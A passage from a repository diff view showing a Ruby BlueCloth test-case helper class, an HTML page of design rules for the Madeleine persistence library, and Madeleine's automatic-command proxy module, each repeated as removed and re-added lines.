self.message "DEBUG>>> %s" % msgs.join('')
end
### Output the specified <tt>msgs</tt> joined together to
### <tt>STDOUT</tt>.
def self::message( *msgs )
$stderr.puts msgs.join('')
$stderr.flush
end
### Add a setup block for the current testcase
def self::addSetupBlock( &block )
self.methodCounter += 1
newMethodName = "setup_#{self.methodCounter}".intern
define_method( newMethodName, &block )
self.setupBlocks.push newMethodName
end
### Add a teardown block for the current testcase
def self::addTeardownBlock( &block )
self.methodCounter += 1
newMethodName = "teardown_#{self.methodCounter}".intern
define_method( newMethodName, &block )
self.teardownBlocks.unshift newMethodName
end
#############################################################
### I N S T A N C E M E T H O D S
#############################################################
### A dummy test method to allow this Test::Unit::TestCase to be
### subclassed without complaining about the lack of tests.
def test_0_dummy
end
### Forward-compatibility method for namechange in Test::Unit
def setup( *args )
self.class.setupBlocks.each {|sblock|
debugMsg "Calling setup block method #{sblock}"
self.send( sblock )
}
super( *args )
end
alias_method :set_up, :setup
### Forward-compatibility method for namechange in Test::Unit
def teardown( *args )
super( *args )
self.class.teardownBlocks.each {|tblock|
debugMsg "Calling teardown block method #{tblock}"
self.send( tblock )
}
end
alias_method :tear_down, :teardown
### Skip the current step (called from #setup) with the +reason+ given.
def skip( reason=nil )
if reason
msg = "Skipping %s: %s" % [ @method_name, reason ]
else
msg = "Skipping %s: No reason given." % @method_name
end
$stderr.puts( msg ) if $VERBOSE
@method_name = :skipped_test
end
def skipped_test # :nodoc:
end
### Add the specified +block+ to the code that gets executed by #setup.
def addSetupBlock( &block ); self.class.addSetupBlock( &block ); end
### Add the specified +block+ to the code that gets executed by #teardown.
def addTeardownBlock( &block ); self.class.addTeardownBlock( &block ); end
### Instance alias for the like-named class method.
def message( *msgs )
self.class.message( *msgs )
end
### Instance alias for the like-named class method
def debugMsg( *msgs )
self.class.debugMsg( *msgs )
end
### Output a separator line made up of <tt>length</tt> of the specified
### <tt>char</tt>.
def writeLine( length=75, char="-" )
$stderr.puts "\r" + (char * length )
end
### Output a header for delimiting tests
def printTestHeader( desc )
return unless $VERBOSE || $DEBUG
message ">>> %s <<<" % desc
end
### Try to force garbage collection to start.
def collectGarbage
a = []
1000.times { a << {} }
a = nil
GC.start
end
### Output the name of the test as it's running if in verbose mode.
def run( result )
$stderr.puts self.name if $VERBOSE || $DEBUG
# Support debugging for individual tests
olddb = nil
if $DebugPattern && $DebugPattern =~ @method_name
olddb = $DEBUG
$DEBUG = true
end
super
$DEBUG = olddb unless olddb.nil?
end
#############################################################
### E X T R A A S S E R T I O N S
#############################################################
### Negative of assert_respond_to
def assert_not_respond_to( obj, meth )
msg = "%s expected NOT to respond to '%s'" %
[ obj.inspect, meth ]
assert_block( msg ) {
!obj.respond_to?( meth )
}
end
### Assert that the instance variable specified by +sym+ of an +object+
### is equal to the specified +value+. The '@' at the beginning of the
### +sym+ will be prepended if not present.
def assert_ivar_equal( value, object, sym )
sym = "@#{sym}".intern unless /^@/ =~ sym.to_s
msg = "Instance variable '%s'\n\tof <%s>\n\texpected to be <%s>\n" %
[ sym, object.inspect, value.inspect ]
msg += "\tbut was: <%s>" % object.instance_variable_get(sym)
assert_block( msg ) {
value == object.instance_variable_get(sym)
}
end
### Assert that the specified +object+ has an instance variable which
### matches the specified +sym+. The '@' at the beginning of the +sym+
### will be prepended if not present.
def assert_has_ivar( sym, object )
sym = "@#{sym}" unless /^@/ =~ sym.to_s
msg = "Object <%s> expected to have an instance variable <%s>" %
[ object.inspect, sym ]
assert_block( msg ) {
object.instance_variables.include?( sym.to_s )
}
end
end # class TestCase
end # class BlueCloth
#!/usr/bin/ruby
#
# This is an abstract test case class for building Test::Unit unit tests for the
# BlueCloth module. It consolidates most of the maintenance work that must be
# done to build a test file by adjusting the $LOAD_PATH appropriately, as well
# as adding some other useful methods that make building, maintaining, and using
# the tests for programming much easier (IMHO). See the docs for Test::Unit for
# more info on the particulars of unit testing.
#
# == Synopsis
#
# # Allow the test to be run from anywhere:
# if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
# basedir = File::dirname( __FILE__ )
# require File::join( basedir, 'bctestcase' )
# end
#
# class MySomethingTest < BlueCloth::TestCase
# def setup
# super()
# @foo = 'bar'
# end
#
# def test_00_something
# obj = nil
# assert_nothing_raised { obj = MySomething::new }
# assert_instance_of MySomething, obj
# assert_respond_to :myMethod, obj
# end
#
# end
#
# == Rcsid
#
# $Id: bctestcase.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
#
# == Authors
#
# * Michael Granger <ged@FaerieMUD.org>
#
#:include: COPYRIGHT
#
#---
#
# Please see the file COPYRIGHT in the 'docs' directory for licensing details.
#
$DebugPattern ||= nil
begin
basedir = File::dirname( File::dirname(__FILE__) )
unless $LOAD_PATH.include?( "#{basedir}/lib" )
$LOAD_PATH.unshift "#{basedir}/lib"
end
end
require "test/unit"
require "bluecloth"
class BlueCloth
### The abstract base class for BlueCloth test cases.
class TestCase < Test::Unit::TestCase
@methodCounter = 0
@setupBlocks = []
@teardownBlocks = []
class << self
attr_accessor :methodCounter, :setupBlocks, :teardownBlocks
end
### Inheritance callback -- adds @setupBlocks and @teardownBlocks ivars
### and accessors to the inheriting class.
def self::inherited( klass )
klass.module_eval {
@setupBlocks = []
@teardownBlocks = []
class << self
attr_accessor :setupBlocks, :teardownBlocks
end
}
klass.methodCounter = 0
end
### Output the specified <tt>msgs</tt> joined together to
### <tt>STDERR</tt> if <tt>$DEBUG</tt> is set.
def self::debugMsg( *msgs )
return unless $DEBUG
self.message "DEBUG>>> %s" % msgs.join('')
end
### Output the specified <tt>msgs</tt> joined together to
### <tt>STDOUT</tt>.
def self::message( *msgs )
$stderr.puts msgs.join('')
$stderr.flush
end
### Add a setup block for the current testcase
def self::addSetupBlock( &block )
self.methodCounter += 1
newMethodName = "setup_#{self.methodCounter}".intern
define_method( newMethodName, &block )
self.setupBlocks.push newMethodName
end
### Add a teardown block for the current testcase
def self::addTeardownBlock( &block )
self.methodCounter += 1
newMethodName = "teardown_#{self.methodCounter}".intern
define_method( newMethodName, &block )
self.teardownBlocks.unshift newMethodName
end
#############################################################
### I N S T A N C E M E T H O D S
#############################################################
### A dummy test method to allow this Test::Unit::TestCase to be
### subclassed without complaining about the lack of tests.
def test_0_dummy
end
### Forward-compatibility method for namechange in Test::Unit
def setup( *args )
self.class.setupBlocks.each {|sblock|
debugMsg "Calling setup block method #{sblock}"
self.send( sblock )
}
super( *args )
end
alias_method :set_up, :setup
### Forward-compatibility method for namechange in Test::Unit
def teardown( *args )
super( *args )
self.class.teardownBlocks.each {|tblock|
debugMsg "Calling teardown block method #{tblock}"
self.send( tblock )
}
end
alias_method :tear_down, :teardown
### Skip the current step (called from #setup) with the +reason+ given.
def skip( reason=nil )
if reason
msg = "Skipping %s: %s" % [ @method_name, reason ]
else
msg = "Skipping %s: No reason given." % @method_name
end
$stderr.puts( msg ) if $VERBOSE
@method_name = :skipped_test
end
def skipped_test # :nodoc:
end
### Add the specified +block+ to the code that gets executed by #setup.
def addSetupBlock( &block ); self.class.addSetupBlock( &block ); end
### Add the specified +block+ to the code that gets executed by #teardown.
def addTeardownBlock( &block ); self.class.addTeardownBlock( &block ); end
### Instance alias for the like-named class method.
def message( *msgs )
self.class.message( *msgs )
end
### Instance alias for the like-named class method
def debugMsg( *msgs )
self.class.debugMsg( *msgs )
end
### Output a separator line made up of <tt>length</tt> of the specified
### <tt>char</tt>.
def writeLine( length=75, char="-" )
$stderr.puts "\r" + (char * length )
end
### Output a header for delimiting tests
def printTestHeader( desc )
return unless $VERBOSE || $DEBUG
message ">>> %s <<<" % desc
end
### Try to force garbage collection to start.
def collectGarbage
a = []
1000.times { a << {} }
a = nil
GC.start
end
### Output the name of the test as it's running if in verbose mode.
def run( result )
$stderr.puts self.name if $VERBOSE || $DEBUG
# Support debugging for individual tests
olddb = nil
if $DebugPattern && $DebugPattern =~ @method_name
olddb = $DEBUG
$DEBUG = true
end
super
$DEBUG = olddb unless olddb.nil?
end
#############################################################
### E X T R A A S S E R T I O N S
#############################################################
### Negative of assert_respond_to
def assert_not_respond_to( obj, meth )
msg = "%s expected NOT to respond to '%s'" %
[ obj.inspect, meth ]
assert_block( msg ) {
!obj.respond_to?( meth )
}
end
### Assert that the instance variable specified by +sym+ of an +object+
### is equal to the specified +value+. The '@' at the beginning of the
### +sym+ will be prepended if not present.
def assert_ivar_equal( value, object, sym )
sym = "@#{sym}".intern unless /^@/ =~ sym.to_s
msg = "Instance variable '%s'\n\tof <%s>\n\texpected to be <%s>\n" %
[ sym, object.inspect, value.inspect ]
msg += "\tbut was: <%s>" % object.instance_variable_get(sym)
assert_block( msg ) {
value == object.instance_variable_get(sym)
}
end
### Assert that the specified +object+ has an instance variable which
### matches the specified +sym+. The '@' at the beginning of the +sym+
### will be prepended if not present.
def assert_has_ivar( sym, object )
sym = "@#{sym}" unless /^@/ =~ sym.to_s
msg = "Object <%s> expected to have an instance variable <%s>" %
[ object.inspect, sym ]
assert_block( msg ) {
object.instance_variables.include?( sym.to_s )
}
end
end # class TestCase
end # class BlueCloth

File diff suppressed because it is too large Load diff

View file

@ -1,87 +1,87 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html>
<head>
<title>Design rules - Madeleine</title>
<link type="text/css" href="docs.css" rel="stylesheet">
</head>
<body>
<h1>Design rules</h1>
<p>This is a summary of the design rules your application has to
follow to work with Madeleine.
<h2>The Prevalent System</h2>
<h3>Your objects have to fit into memory</h3>
<p>All of them. At the same time.
<h3>Your objects have to be marshallable</h3>
<p>Snapshots are taken of the system by marshalling the whole system to a
file. If your classes can't be marshalled/unmarshalled then Madeleine
won't be able to store/restore the system.
<h3>Your objects have to be deterministic</h3>
<p><em>Deterministic</em> means that, given the same commands, they have
to always give the same results.
<p>For the much of your code this won't
be a problem, but there are a few common issues:
<h4>The system clock</h4>
<p>You can't use the system clock (see instead ClockedSystem and TimeActor).
<h4>Random numbers</h4>
<p><code>Kernel.rand()</code> uses the system clock internally by
default. Use <code>Kernel.srand()</code> to seed the random number
generator before using <code>rand()</code>.
<h4>Files, network and other IO</h4>
<p>You generally can't access the outside world from within your
prevalent system. Instead do IO outside of the prevalent system and
call into the system when needed.
<h3>Changes to the system have to be done through command
objects</h3>
<p>Everything that modifies the prevalent system must be done through a
<em>command object</em> sent to the Madeleine instance, using
<code>execute_command(aCommand)</code>. Queries that don't modify the
system can be done either through direct method calls or through
command objects.
<h2>Command Objects</h2>
<p>A command object is an object that implements the method
<code>execute(system)</code>. They are an example of the "Command"
design pattern.
<h3>The command objects also have to be marshallable</h3>
<p>Madeleine keeps track of changes between snapshots by logging
marshalled commands.
<h3>The command must raise errors before modifying the system</h3>
<p>Unlike a RDBMS, Madeleine can't roll back a command (yet). This means
that your commands will have to do their error checking and raise any
errors before modifying the system. Failing to do this will cause an
inconsistent command log.
<h3>Command objects can't hold references to the system's objects</h3>
<p>Unmarshalling such a command would create clones of the original
objects, which would then be modified instead of the real
objects. The commands must <i>find</i> the objects to modify.
<hr>
<tt>$Id: designRules.html,v 1.1 2005/01/07 23:03:27 alexeyv Exp $</tt>
</body>
</html>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html>
<head>
<title>Design rules - Madeleine</title>
<link type="text/css" href="docs.css" rel="stylesheet">
</head>
<body>
<h1>Design rules</h1>
<p>This is a summary of the design rules your application has to
follow to work with Madeleine.
<h2>The Prevalent System</h2>
<h3>Your objects have to fit into memory</h3>
<p>All of them. At the same time.
<h3>Your objects have to be marshallable</h3>
<p>Snapshots are taken of the system by marshalling the whole system to a
file. If your classes can't be marshalled/unmarshalled then Madeleine
won't be able to store/restore the system.
<h3>Your objects have to be deterministic</h3>
<p><em>Deterministic</em> means that, given the same commands, they have
to always give the same results.
<p>For the much of your code this won't
be a problem, but there are a few common issues:
<h4>The system clock</h4>
<p>You can't use the system clock (see instead ClockedSystem and TimeActor).
<h4>Random numbers</h4>
<p><code>Kernel.rand()</code> uses the system clock internally by
default. Use <code>Kernel.srand()</code> to seed the random number
generator before using <code>rand()</code>.
<h4>Files, network and other IO</h4>
<p>You generally can't access the outside world from within your
prevalent system. Instead do IO outside of the prevalent system and
call into the system when needed.
<h3>Changes to the system have to be done through command
objects</h3>
<p>Everything that modifies the prevalent system must be done through a
<em>command object</em> sent to the Madeleine instance, using
<code>execute_command(aCommand)</code>. Queries that don't modify the
system can be done either through direct method calls or through
command objects.
<h2>Command Objects</h2>
<p>A command object is an object that implements the method
<code>execute(system)</code>. They are an example of the "Command"
design pattern.
<h3>The command objects also have to be marshallable</h3>
<p>Madeleine keeps track of changes between snapshots by logging
marshalled commands.
<h3>The command must raise errors before modifying the system</h3>
<p>Unlike a RDBMS, Madeleine can't roll back a command (yet). This means
that your commands will have to do their error checking and raise any
errors before modifying the system. Failing to do this will cause an
inconsistent command log.
<h3>Command objects can't hold references to the system's objects</h3>
<p>Unmarshalling such a command would create clones of the original
objects, which would then be modified instead of the real
objects. The commands must <i>find</i> the objects to modify.
<hr>
<tt>$Id: designRules.html,v 1.1 2005/01/07 23:03:27 alexeyv Exp $</tt>
</body>
</html>

View file

@ -1,418 +1,418 @@
require 'yaml'
require 'madeleine/zmarshal'
require 'soap/marshal'
module Madeleine
# Automatic commands for Madeleine
#
# Author:: Stephen Sykes <sds@stephensykes.com>
# Copyright:: Copyright (C) 2003-2004
# Version:: 0.41
#
# This module provides a way of automatically generating command objects for madeleine to
# store. It works by making a proxy object for all objects of any classes in which it is included.
# Method calls to these objects are intercepted, and stored as a command before being
# passed on to the real receiver. The command objects remember which object the command was
# destined for by using a pair of internal ids that are contained in each of the proxy objects.
#
# There is also a mechanism for specifying which methods not to intercept calls to by using
# automatic_read_only, and its opposite automatic_read_write.
#
# Should you require it, the snapshots can be stored as yaml, and can be compressed. Just pass
# the marshaller you want to use as the second argument to AutomaticSnapshotMadeleine.new.
# If the passed marshaller did not successfully deserialize the latest snapshot, the system
# will try to automatically detect and read either Marshal, YAML, SOAP, or their corresponding
# compressed versions.
#
# This module is designed to work correctly in the case there are multiple madeleine systems in use by
# a single program, and is also safe to use with threads.
#
# Usage:
#
# require 'madeleine'
# require 'madeleine/automatic'
#
# class A
# include Madeleine::Automatic::Interceptor
# attr_reader :foo
# automatic_read_only :foo
# def initialize(param1, ...)
# ...
# end
# def some_method(paramA, ...)
# ...
# end
# automatic_read_only
# def bigfoo
# foo.upcase
# end
# end
#
# mad = AutomaticSnapshotMadeleine.new("storage_directory") { A.new(param1, ...) }
#
# mad.system.some_method(paramA, ...) # logged as a command by madeleine
# print mad.foo # not logged
# print mad.bigfoo # not logged
# mad.take_snapshot
#
module Automatic
#
# This module should be included (at the top) in any classes that are to be persisted.
# It will intercept method calls and make sure they are converted into commands that are logged by Madeleine.
# It does this by returning a Prox object that is a proxy for the real object.
#
# It also handles automatic_read_only and automatic_read_write, allowing user specification of which methods
# should be made into commands
#
module Interceptor
#
# When included, redefine new so that we can return a Prox object instead, and define methods to handle
# keeping track of which methods are read only
#
def self.included(klass)
class <<klass
alias_method :_old_new, :new
def new(*args, &block)
Prox.new(_old_new(*args, &block))
end
#
# Called when a method added - remember symbol if read only
# This is a good place to add in any superclass's read only methods also
#
def method_added(symbol)
self.instance_eval {
@read_only_methods ||= []
@auto_read_only_flag ||= false
@read_only_methods << symbol if @auto_read_only_flag
c = self
while (c = c.superclass)
if (c.instance_eval {instance_variables.include? "@read_only_methods"})
@read_only_methods |= c.instance_eval {@read_only_methods}
end
end
}
end
#
# Set the read only flag, or add read only methods
#
def automatic_read_only(*list)
if (list == [])
self.instance_eval {@auto_read_only_flag = true}
else
list.each {|s| self.instance_eval {@read_only_methods ||= []; @read_only_methods << s}}
end
end
#
# Clear the read only flag, or remove read only methods
#
def automatic_read_write(*list)
if (list == [])
self.instance_eval {@auto_read_only_flag = false}
else
list.each {|s| self.instance_eval {@read_only_methods ||= []; @read_only_methods.delete(s)}}
end
end
end
end
#
# Return the list of read only methods so Automatic_proxy#method_missing can find what to and what not to make into a command
#
def read_only_methods
self.class.instance_eval {@read_only_methods}
end
end
#
# A Command object is automatically created for each method call to an object within the system that comes from without.
# These objects are recorded in the log by Madeleine.
#
class Command
def initialize(symbol, myid, *args)
@symbol = symbol
@myid = myid
@args = args
end
#
# Called by madeleine when the command is done either first time, or when restoring the log
#
def execute(system)
Thread.current[:system].myid2ref(@myid).thing.send(@symbol, *@args)
end
end
#
# This is a little class to pass to SnapshotMadeleine. This is used for snapshots only.
# It acts as the marshaller, and just passes marshalling requests on to the user specified
# marshaller. This defaults to Marshal, but could be YAML or another.
# After we have done a restore, the ObjectSpace is searched for instances of Prox to
# add new objects to the list in AutomaticSnapshotMadeleine
#
class Automatic_marshaller #:nodoc:
def Automatic_marshaller.load(io)
restored_obj = Deserialize.load(io, Thread.current[:system].marshaller)
ObjectSpace.each_object(Prox) {|o| Thread.current[:system].restore(o) if (o.sysid == restored_obj.sysid)}
restored_obj
end
def Automatic_marshaller.dump(obj, io = nil)
Thread.current[:system].marshaller.dump(obj, io)
end
end
#
# A Prox object is generated and returned by Interceptor each time a system object is created.
#
class Prox #:nodoc:
attr_accessor :thing, :myid, :sysid
def initialize(thing)
if (thing)
raise "App object created outside of app" unless Thread.current[:system]
@sysid = Thread.current[:system].sysid
@myid = Thread.current[:system].add(self)
@thing = thing
end
end
#
# This automatically makes and executes a new Command if a method is called from
# outside the system.
#
def method_missing(symbol, *args, &block)
# print "Sending #{symbol} to #{@thing.to_s}, myid=#{@myid}, sysid=#{@sysid}\n"
raise NoMethodError, "Undefined method" unless @thing.respond_to?(symbol)
if (Thread.current[:system])
@thing.send(symbol, *args, &block)
else
raise "Cannot make command with block" if block_given?
Thread.current[:system] = AutomaticSnapshotMadeleine.systems[@sysid]
begin
if (@thing.read_only_methods.include?(symbol))
result = Thread.current[:system].execute_query(Command.new(symbol, @myid, *args))
else
result = Thread.current[:system].execute_command(Command.new(symbol, @myid, *args))
end
ensure
Thread.current[:system] = false
end
result
end
end
#
# Custom marshalling - this adds the internal id (myid) and the system id to a marshal
# of the object we are the proxy for.
# We take care to not marshal the same object twice, so circular references will work.
# We ignore Thread.current[:system].marshaller here - this is only called by Marshal, and
# marshal is always used for Command objects
#
def _dump(depth)
if (Thread.current[:snapshot_memory])
if (Thread.current[:snapshot_memory][self])
[@myid.to_s, @sysid].pack("A8A30")
else
Thread.current[:snapshot_memory][self] = true
[@myid.to_s, @sysid].pack("A8A30") + Marshal.dump(@thing, depth)
end
else
[@myid.to_s, @sysid].pack("A8A30") # never marshal a prox object in a command, just ref
end
end
#
# Custom marshalling for Marshal - restore a Prox object.
#
def Prox._load(str)
x = Prox.new(nil)
a = str.unpack("A8A30a*")
x.myid = a[0].to_i
x.sysid = a[1]
x = Thread.current[:system].restore(x)
x.thing = Marshal.load(a[2]) if (a[2] > "")
x
end
end
#
# The AutomaticSnapshotMadeleine class contains an instance of the persister
# (default is SnapshotMadeleine) and provides additional automatic functionality.
#
# The class is instantiated the same way as SnapshotMadeleine:
# madeleine_sys = AutomaticSnapshotMadeleine.new("storage_directory") { A.new(param1, ...) }
# The second initialisation parameter is the persister. Supported persisters are:
#
# * Marshal (default)
# * YAML
# * SOAP::Marshal
# * Madeleine::ZMarshal.new(Marshal)
# * Madeleine::ZMarshal.new(YAML)
# * Madeleine::ZMarshal.new(SOAP::Marshal)
#
# The class keeps a record of all the systems that currently exist.
# Each instance of the class keeps a record of Prox objects in that system by internal id (myid).
#
# We also add functionality to take_snapshot in order to set things up so that the custom Prox object
# marshalling will work correctly.
#
class AutomaticSnapshotMadeleine
attr_accessor :marshaller
attr_reader :list, :sysid
def initialize(directory_name, marshaller=Marshal, persister=SnapshotMadeleine, &new_system_block)
@sysid ||= Time.now.to_f.to_s + Thread.current.object_id.to_s # Gererate a new sysid
@myid_count = 0
@list = {}
Thread.current[:system] = self # during system startup system should not create commands
Thread.critical = true
@@systems ||= {} # holds systems by sysid
@@systems[@sysid] = self
Thread.critical = false
@marshaller = marshaller # until attrb
begin
@persister = persister.new(directory_name, Automatic_marshaller, &new_system_block)
@list.delete_if {|k,v| # set all the prox objects that now exist to have the right sysid
begin
ObjectSpace._id2ref(v).sysid = @sysid
false
rescue RangeError
true # Id was to a GC'd object, delete it
end
}
ensure
Thread.current[:system] = false
end
end
#
# Add a proxy object to the list, return the myid for that object
#
def add(proxo)
@list[@myid_count += 1] = proxo.object_id
@myid_count
end
#
# Restore a marshalled proxy object to list - myid_count is increased as required.
# If the object already exists in the system then the existing object must be used.
#
def restore(proxo)
if (@list[proxo.myid])
proxo = myid2ref(proxo.myid)
else
@list[proxo.myid] = proxo.object_id
@myid_count = proxo.myid if (@myid_count < proxo.myid)
end
proxo
end
#
# Returns a reference to the object indicated by the internal id supplied.
#
def myid2ref(myid)
raise "Internal id #{myid} not found" unless objid = @list[myid]
ObjectSpace._id2ref(objid)
end
#
# Take a snapshot of the system.
#
def take_snapshot
begin
Thread.current[:system] = self
Thread.current[:snapshot_memory] = {}
@persister.take_snapshot
ensure
Thread.current[:snapshot_memory] = nil
Thread.current[:system] = false
end
end
#
# Returns the hash containing the systems.
#
def AutomaticSnapshotMadeleine.systems
@@systems
end
#
# Close method changes the sysid for Prox objects so they can't be mistaken for real ones in a new
# system before GC gets them
#
def close
begin
@list.each_key {|k| myid2ref(k).sysid = nil}
rescue RangeError
# do nothing
end
@persister.close
end
#
# Pass on any other calls to the persister
#
def method_missing(symbol, *args, &block)
@persister.send(symbol, *args, &block)
end
end
module Deserialize #:nodoc:
#
# Detect format of an io stream. Leave it rewound.
#
def Deserialize.detect(io)
c = io.getc
c1 = io.getc
io.rewind
if (c == Marshal::MAJOR_VERSION && c1 <= Marshal::MINOR_VERSION)
Marshal
elsif (c == 31 && c1 == 139) # gzip magic numbers
ZMarshal
else
while (s = io.gets)
break if (s !~ /^\s*$/) # ignore blank lines
end
io.rewind
if (s && s =~ /^\s*<\?[xX][mM][lL]/) # "<?xml" begins an xml serialization
SOAP::Marshal
else
while (s = io.gets)
break if (s !~ /^\s*#/ && s !~ /^\s*$/) # ignore blank and comment lines
end
io.rewind
if (s && s =~ /^\s*---/) # "---" is the yaml header
YAML
else
nil # failed to detect
end
end
end
end
#
# Try to deserialize object. If there was an error, try to detect marshal format,
# and return deserialized object using the right marshaller
# If detection didn't work, raise up the exception
#
def Deserialize.load(io, marshaller=Marshal)
begin
marshaller.load(io)
rescue Exception => e
io.rewind
detected_marshaller = detect(io)
if (detected_marshaller == ZMarshal)
zio = Zlib::GzipReader.new(io)
detected_zmarshaller = detect(zio)
zio.finish
io.rewind
if (detected_zmarshaller)
ZMarshal.new(detected_zmarshaller).load(io)
else
raise e
end
elsif (detected_marshaller)
detected_marshaller.load(io)
else
raise e
end
end
end
end
end
end
AutomaticSnapshotMadeleine = Madeleine::Automatic::AutomaticSnapshotMadeleine
require 'yaml'
require 'madeleine/zmarshal'
require 'soap/marshal'
module Madeleine
# Automatic commands for Madeleine
#
# Author:: Stephen Sykes <sds@stephensykes.com>
# Copyright:: Copyright (C) 2003-2004
# Version:: 0.41
#
# This module provides a way of automatically generating command objects for madeleine to
# store. It works by making a proxy object for all objects of any classes in which it is included.
# Method calls to these objects are intercepted, and stored as a command before being
# passed on to the real receiver. The command objects remember which object the command was
# destined for by using a pair of internal ids that are contained in each of the proxy objects.
#
# There is also a mechanism for specifying which methods not to intercept calls to by using
# automatic_read_only, and its opposite automatic_read_write.
#
# Should you require it, the snapshots can be stored as yaml, and can be compressed. Just pass
# the marshaller you want to use as the second argument to AutomaticSnapshotMadeleine.new.
# If the passed marshaller did not successfully deserialize the latest snapshot, the system
# will try to automatically detect and read either Marshal, YAML, SOAP, or their corresponding
# compressed versions.
#
# This module is designed to work correctly in the case there are multiple madeleine systems in use by
# a single program, and is also safe to use with threads.
#
# Usage:
#
# require 'madeleine'
# require 'madeleine/automatic'
#
# class A
# include Madeleine::Automatic::Interceptor
# attr_reader :foo
# automatic_read_only :foo
# def initialize(param1, ...)
# ...
# end
# def some_method(paramA, ...)
# ...
# end
# automatic_read_only
# def bigfoo
# foo.upcase
# end
# end
#
# mad = AutomaticSnapshotMadeleine.new("storage_directory") { A.new(param1, ...) }
#
# mad.system.some_method(paramA, ...) # logged as a command by madeleine
# print mad.foo # not logged
# print mad.bigfoo # not logged
# mad.take_snapshot
#
module Automatic
#
# This module should be included (at the top) in any classes that are to be persisted.
# It will intercept method calls and make sure they are converted into commands that are logged by Madeleine.
# It does this by returning a Prox object that is a proxy for the real object.
#
# It also handles automatic_read_only and automatic_read_write, allowing user specification of which methods
# should be made into commands
#
module Interceptor
#
# When included, redefine new so that we can return a Prox object instead, and define methods to handle
# keeping track of which methods are read only
#
def self.included(klass)
class <<klass
alias_method :_old_new, :new
def new(*args, &block)
Prox.new(_old_new(*args, &block))
end
#
# Called when a method added - remember symbol if read only
# This is a good place to add in any superclass's read only methods also
#
def method_added(symbol)
self.instance_eval {
@read_only_methods ||= []
@auto_read_only_flag ||= false
@read_only_methods << symbol if @auto_read_only_flag
c = self
while (c = c.superclass)
if (c.instance_eval {instance_variables.include? "@read_only_methods"})
@read_only_methods |= c.instance_eval {@read_only_methods}
end
end
}
end
#
# Set the read only flag, or add read only methods
#
def automatic_read_only(*list)
if (list == [])
self.instance_eval {@auto_read_only_flag = true}
else
list.each {|s| self.instance_eval {@read_only_methods ||= []; @read_only_methods << s}}
end
end
#
# Clear the read only flag, or remove read only methods
#
def automatic_read_write(*list)
if (list == [])
self.instance_eval {@auto_read_only_flag = false}
else
list.each {|s| self.instance_eval {@read_only_methods ||= []; @read_only_methods.delete(s)}}
end
end
end
end
#
# Return the list of read only methods so Automatic_proxy#method_missing can find what to and what not to make into a command
#
def read_only_methods
self.class.instance_eval {@read_only_methods}
end
end
#
# A Command object is automatically created for each method call to an object within the system that comes from without.
# These objects are recorded in the log by Madeleine.
#
class Command
def initialize(symbol, myid, *args)
@symbol = symbol
@myid = myid
@args = args
end
#
# Called by madeleine when the command is done either first time, or when restoring the log
#
def execute(system)
Thread.current[:system].myid2ref(@myid).thing.send(@symbol, *@args)
end
end
#
# This is a little class to pass to SnapshotMadeleine. This is used for snapshots only.
# It acts as the marshaller, and just passes marshalling requests on to the user specified
# marshaller. This defaults to Marshal, but could be YAML or another.
# After we have done a restore, the ObjectSpace is searched for instances of Prox to
# add new objects to the list in AutomaticSnapshotMadeleine
#
class Automatic_marshaller #:nodoc:
def Automatic_marshaller.load(io)
restored_obj = Deserialize.load(io, Thread.current[:system].marshaller)
ObjectSpace.each_object(Prox) {|o| Thread.current[:system].restore(o) if (o.sysid == restored_obj.sysid)}
restored_obj
end
def Automatic_marshaller.dump(obj, io = nil)
Thread.current[:system].marshaller.dump(obj, io)
end
end
#
# A Prox object is generated and returned by Interceptor each time a system object is created.
#
class Prox #:nodoc:
attr_accessor :thing, :myid, :sysid
def initialize(thing)
if (thing)
raise "App object created outside of app" unless Thread.current[:system]
@sysid = Thread.current[:system].sysid
@myid = Thread.current[:system].add(self)
@thing = thing
end
end
#
# This automatically makes and executes a new Command if a method is called from
# outside the system.
#
def method_missing(symbol, *args, &block)
# print "Sending #{symbol} to #{@thing.to_s}, myid=#{@myid}, sysid=#{@sysid}\n"
raise NoMethodError, "Undefined method" unless @thing.respond_to?(symbol)
if (Thread.current[:system])
@thing.send(symbol, *args, &block)
else
raise "Cannot make command with block" if block_given?
Thread.current[:system] = AutomaticSnapshotMadeleine.systems[@sysid]
begin
if (@thing.read_only_methods.include?(symbol))
result = Thread.current[:system].execute_query(Command.new(symbol, @myid, *args))
else
result = Thread.current[:system].execute_command(Command.new(symbol, @myid, *args))
end
ensure
Thread.current[:system] = false
end
result
end
end
#
# Custom marshalling - this adds the internal id (myid) and the system id to a marshal
# of the object we are the proxy for.
# We take care to not marshal the same object twice, so circular references will work.
# We ignore Thread.current[:system].marshaller here - this is only called by Marshal, and
# marshal is always used for Command objects
#
def _dump(depth)
if (Thread.current[:snapshot_memory])
if (Thread.current[:snapshot_memory][self])
[@myid.to_s, @sysid].pack("A8A30")
else
Thread.current[:snapshot_memory][self] = true
[@myid.to_s, @sysid].pack("A8A30") + Marshal.dump(@thing, depth)
end
else
[@myid.to_s, @sysid].pack("A8A30") # never marshal a prox object in a command, just ref
end
end
#
# Custom marshalling for Marshal - restore a Prox object.
#
def Prox._load(str)
x = Prox.new(nil)
a = str.unpack("A8A30a*")
x.myid = a[0].to_i
x.sysid = a[1]
x = Thread.current[:system].restore(x)
x.thing = Marshal.load(a[2]) if (a[2] > "")
x
end
end
#
# The AutomaticSnapshotMadeleine class contains an instance of the persister
# (default is SnapshotMadeleine) and provides additional automatic functionality.
#
# The class is instantiated the same way as SnapshotMadeleine:
# madeleine_sys = AutomaticSnapshotMadeleine.new("storage_directory") { A.new(param1, ...) }
# The second initialisation parameter is the persister. Supported persisters are:
#
# * Marshal (default)
# * YAML
# * SOAP::Marshal
# * Madeleine::ZMarshal.new(Marshal)
# * Madeleine::ZMarshal.new(YAML)
# * Madeleine::ZMarshal.new(SOAP::Marshal)
#
# The class keeps a record of all the systems that currently exist.
# Each instance of the class keeps a record of Prox objects in that system by internal id (myid).
#
# We also add functionality to take_snapshot in order to set things up so that the custom Prox object
# marshalling will work correctly.
#
class AutomaticSnapshotMadeleine
attr_accessor :marshaller
attr_reader :list, :sysid
def initialize(directory_name, marshaller=Marshal, persister=SnapshotMadeleine, &new_system_block)
@sysid ||= Time.now.to_f.to_s + Thread.current.object_id.to_s # Gererate a new sysid
@myid_count = 0
@list = {}
Thread.current[:system] = self # during system startup system should not create commands
Thread.critical = true
@@systems ||= {} # holds systems by sysid
@@systems[@sysid] = self
